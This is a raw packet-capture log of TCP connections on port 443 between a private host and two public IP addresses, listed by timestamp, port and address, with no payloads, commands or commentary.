Jan 2, 2025 20:28:17.089014053 CET	443	49747	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:17.089082003 CET	49747	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:17.089107037 CET	443	49747	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:17.089154959 CET	49747	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:17.090890884 CET	443	49747	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:17.090934038 CET	443	49747	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:17.090941906 CET	49747	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:17.090981960 CET	49747	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:17.098040104 CET	49747	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:17.098052979 CET	443	49747	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:17.099123001 CET	49759	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:17.099176884 CET	443	49759	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:17.099248886 CET	49759	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:17.099553108 CET	49759	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:17.099569082 CET	443	49759	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:17.341770887 CET	443	49748	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:17.342041016 CET	49748	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:17.342063904 CET	443	49748	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:17.342174053 CET	49748	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:17.342174053 CET	49748	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:17.342209101 CET	443	49748	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:17.342346907 CET	443	49748	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:17.342426062 CET	49748	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:17.342426062 CET	49748	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:17.342822075 CET	49765	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:17.342850924 CET	443	49765	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:17.342940092 CET	49765	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:17.343190908 CET	49765	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:17.343204021 CET	443	49765	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:17.462347031 CET	443	49751	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:17.462404966 CET	443	49751	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:17.462516069 CET	443	49751	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:17.462901115 CET	49751	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:17.485646963 CET	49751	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:17.485671043 CET	443	49751	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:17.486773968 CET	49767	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:17.486799955 CET	443	49767	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:17.487039089 CET	49767	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:17.488760948 CET	49767	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:17.488774061 CET	443	49767	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:17.609921932 CET	443	49749	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:17.609970093 CET	443	49749	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:17.610050917 CET	49749	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:17.610068083 CET	443	49749	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:17.610080004 CET	443	49749	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:17.610193014 CET	49749	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:17.611638069 CET	49749	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:17.611650944 CET	443	49749	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:17.611671925 CET	49769	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:17.611706972 CET	443	49769	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:17.611903906 CET	49769	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:17.612392902 CET	49769	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:17.612405062 CET	443	49769	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:17.784820080 CET	443	49759	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:17.784918070 CET	49759	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:17.785573006 CET	443	49759	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:17.785739899 CET	49759	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:17.789352894 CET	49759	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:17.789377928 CET	443	49759	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:17.789633036 CET	443	49759	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:17.791013956 CET	49759	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:17.792135000 CET	49759	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:17.839343071 CET	443	49759	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:18.061876059 CET	443	49765	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:18.062025070 CET	49765	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:18.062668085 CET	443	49765	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:18.062781096 CET	49765	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:18.072530031 CET	49765	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:18.072547913 CET	443	49765	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:18.072788000 CET	443	49765	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:18.072897911 CET	49765	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:18.073340893 CET	49765	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:18.115340948 CET	443	49765	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:18.130600929 CET	443	49767	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:18.130894899 CET	49767	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:18.131444931 CET	49767	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:18.131453037 CET	443	49767	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:18.138804913 CET	49767	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:18.138811111 CET	443	49767	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:18.176317930 CET	443	49759	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:18.176397085 CET	49759	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:18.176418066 CET	443	49759	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:18.176584005 CET	49759	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:18.176584005 CET	49759	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:18.176620960 CET	443	49759	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:18.176748991 CET	443	49759	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:18.176774025 CET	49759	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:18.176924944 CET	49759	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:18.177212954 CET	49776	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:18.177248955 CET	443	49776	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:18.177433014 CET	49776	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:18.177653074 CET	49776	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:18.177664995 CET	443	49776	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:18.267426014 CET	443	49769	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:18.268091917 CET	49769	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:18.268091917 CET	49769	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:18.268105030 CET	443	49769	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:18.268424034 CET	49769	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:18.268429995 CET	443	49769	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:18.473416090 CET	443	49765	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:18.473598003 CET	49765	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:18.473622084 CET	443	49765	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:18.473685026 CET	49765	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:18.474617958 CET	443	49765	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:18.474663973 CET	443	49765	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:18.474672079 CET	49765	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:18.474708080 CET	49765	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:18.482757092 CET	49765	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:18.482773066 CET	443	49765	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:18.484395981 CET	49777	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:18.484447002 CET	443	49777	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:18.484525919 CET	49777	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:18.485255003 CET	49777	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:18.485270977 CET	443	49777	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:18.575788021 CET	443	49767	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:18.575840950 CET	443	49767	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:18.575917959 CET	49767	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:18.575934887 CET	443	49767	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:18.575972080 CET	443	49767	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:18.575973988 CET	49767	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:18.576014042 CET	49767	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:18.605055094 CET	49767	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:18.605071068 CET	443	49767	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:18.605937958 CET	49778	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:18.605973959 CET	443	49778	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:18.606059074 CET	49778	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:18.606436968 CET	49778	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:18.606456995 CET	443	49778	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:18.634645939 CET	49776	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:18.634743929 CET	49769	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:18.634799004 CET	49777	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:18.636543989 CET	49779	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:18.636580944 CET	443	49779	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:18.636749029 CET	49779	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:18.640700102 CET	49780	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:18.640732050 CET	443	49780	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:18.641119003 CET	49780	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:18.644220114 CET	49779	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:18.644247055 CET	443	49779	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:18.645052910 CET	49780	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:18.645067930 CET	443	49780	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:18.651164055 CET	49781	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:18.651180029 CET	443	49781	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:18.651448011 CET	49781	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:18.652528048 CET	49781	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:18.652544975 CET	443	49781	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:19.246767044 CET	443	49778	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:19.246823072 CET	49778	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:19.247373104 CET	49778	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:19.247380972 CET	443	49778	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:19.247581959 CET	49778	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:19.247587919 CET	443	49778	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:19.272540092 CET	443	49779	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:19.272603989 CET	49779	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:19.273323059 CET	443	49779	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:19.273370981 CET	49779	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:19.281394958 CET	443	49780	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:19.281460047 CET	49780	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:19.282052994 CET	443	49780	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:19.282094955 CET	49780	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:19.282243013 CET	49779	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:19.282252073 CET	443	49779	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:19.282486916 CET	443	49779	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:19.282563925 CET	49779	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:19.282943010 CET	49779	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:19.283987999 CET	49780	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:19.283997059 CET	443	49780	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:19.284224033 CET	443	49780	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:19.284277916 CET	49780	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:19.284604073 CET	49780	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:19.327320099 CET	443	49779	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:19.331321001 CET	443	49780	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:19.337901115 CET	443	49781	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:19.337961912 CET	49781	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:19.338274002 CET	49781	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:19.338278055 CET	443	49781	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:19.338429928 CET	49781	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:19.338434935 CET	443	49781	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:19.652806997 CET	443	49779	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:19.652883053 CET	49779	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:19.652892113 CET	443	49779	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:19.652940989 CET	49779	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:19.653110027 CET	49779	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:19.653136969 CET	443	49779	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:19.653181076 CET	49779	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:19.653748035 CET	49789	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:19.653794050 CET	443	49789	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:19.653867960 CET	49789	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:19.654102087 CET	49789	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:19.654114008 CET	443	49789	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:19.691935062 CET	443	49778	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:19.691988945 CET	443	49778	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:19.692045927 CET	49778	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:19.692056894 CET	443	49778	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:19.692097902 CET	49778	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:19.692102909 CET	443	49778	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:19.692112923 CET	443	49778	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:19.692147970 CET	49778	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:19.692162991 CET	49778	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:19.693351984 CET	49778	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:19.693370104 CET	443	49778	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:19.694360018 CET	49790	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:19.694400072 CET	443	49790	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:19.694458008 CET	49790	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:19.694689035 CET	49790	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:19.694703102 CET	443	49790	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:19.768779039 CET	443	49780	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:19.768858910 CET	49780	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:19.769092083 CET	443	49780	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:19.769128084 CET	443	49780	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:19.769167900 CET	49780	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:19.769659042 CET	49780	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:19.769670963 CET	443	49780	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:19.770323992 CET	49794	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:19.770345926 CET	443	49794	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:19.770433903 CET	49794	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:19.770664930 CET	49794	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:19.770674944 CET	443	49794	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:19.851844072 CET	443	49781	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:19.851893902 CET	443	49781	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:19.851913929 CET	49781	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:19.851939917 CET	443	49781	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:19.851958036 CET	49781	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:19.851974010 CET	49781	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:19.851982117 CET	443	49781	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:19.852020025 CET	49781	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:19.852025986 CET	443	49781	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:19.852062941 CET	49781	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:19.853585005 CET	49781	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:19.853600025 CET	443	49781	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:19.854379892 CET	49797	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:19.854408026 CET	443	49797	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:19.854530096 CET	49797	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:19.856556892 CET	49797	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:19.856571913 CET	443	49797	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:20.291105032 CET	443	49789	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:20.291204929 CET	49789	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:20.292186022 CET	443	49789	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:20.292263031 CET	49789	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:20.294349909 CET	49789	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:20.294359922 CET	443	49789	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:20.294636965 CET	443	49789	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:20.294703007 CET	49789	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:20.295151949 CET	49789	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:20.339328051 CET	443	49789	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:20.374630928 CET	443	49790	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:20.374814034 CET	49790	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:20.375560999 CET	49790	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:20.375566959 CET	443	49790	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:20.377590895 CET	49790	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:20.377595901 CET	443	49790	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:20.451193094 CET	443	49794	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:20.451258898 CET	49794	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:20.451837063 CET	443	49794	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:20.451894999 CET	49794	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:20.453471899 CET	49794	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:20.453481913 CET	443	49794	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:20.453706026 CET	443	49794	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:20.453804016 CET	49794	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:20.454103947 CET	49794	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:20.485660076 CET	443	49797	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:20.485723972 CET	49797	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:20.486028910 CET	49797	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:20.486032963 CET	443	49797	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:20.486185074 CET	49797	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:20.486191988 CET	443	49797	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:20.499329090 CET	443	49794	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:20.865892887 CET	443	49789	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:20.865978956 CET	443	49789	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:20.866038084 CET	49789	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:20.866060972 CET	49789	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:20.866242886 CET	49789	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:20.866260052 CET	443	49789	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:20.866271019 CET	49789	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:20.866334915 CET	49789	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:20.866880894 CET	49803	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:20.866914034 CET	443	49803	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:20.866982937 CET	443	49790	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:20.867034912 CET	443	49790	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:20.867050886 CET	49803	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:20.867053032 CET	49790	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:20.867064953 CET	443	49790	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:20.867074966 CET	49790	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:20.867136002 CET	49790	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:20.867141008 CET	443	49790	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:20.867353916 CET	49790	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:20.867624998 CET	49803	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:20.867630959 CET	443	49803	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:20.868799925 CET	49790	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:20.868805885 CET	443	49790	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:20.869175911 CET	49804	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:20.869208097 CET	443	49804	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:20.869266987 CET	49804	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:20.869441032 CET	49804	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:20.869452953 CET	443	49804	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:20.870417118 CET	443	49794	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:20.870481014 CET	49794	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:20.870498896 CET	443	49794	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:20.870723009 CET	49794	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:20.870785952 CET	443	49794	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:20.870785952 CET	49794	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:20.870834112 CET	443	49794	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:20.870887041 CET	49794	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:20.870898962 CET	49794	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:20.871329069 CET	49805	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:20.871337891 CET	443	49805	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:20.871397018 CET	49805	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:20.871583939 CET	49805	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:20.871591091 CET	443	49805	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:20.956033945 CET	443	49797	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:20.956110954 CET	49797	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:20.956130028 CET	443	49797	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:20.956191063 CET	49797	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:20.956295013 CET	443	49797	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:20.956406116 CET	49797	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:20.956413984 CET	443	49797	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:20.956418037 CET	443	49797	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:20.956470013 CET	49797	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:20.957005024 CET	49797	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:20.957019091 CET	443	49797	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:20.958053112 CET	49806	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:20.958085060 CET	443	49806	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:20.958168030 CET	49806	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:20.958633900 CET	49806	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:20.958641052 CET	443	49806	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:21.542439938 CET	443	49805	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:21.544954062 CET	49805	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:21.545572996 CET	443	49803	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:21.545658112 CET	49803	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:21.549069881 CET	443	49804	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:21.552964926 CET	49804	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:21.600414038 CET	443	49806	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:21.602984905 CET	49806	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:21.663074017 CET	49805	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:21.663094997 CET	443	49805	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:21.665224075 CET	49805	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:21.665235996 CET	443	49805	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:21.665716887 CET	49803	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:21.665741920 CET	443	49803	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:21.665925026 CET	49803	443	192.168.2.6	142.250.185.78
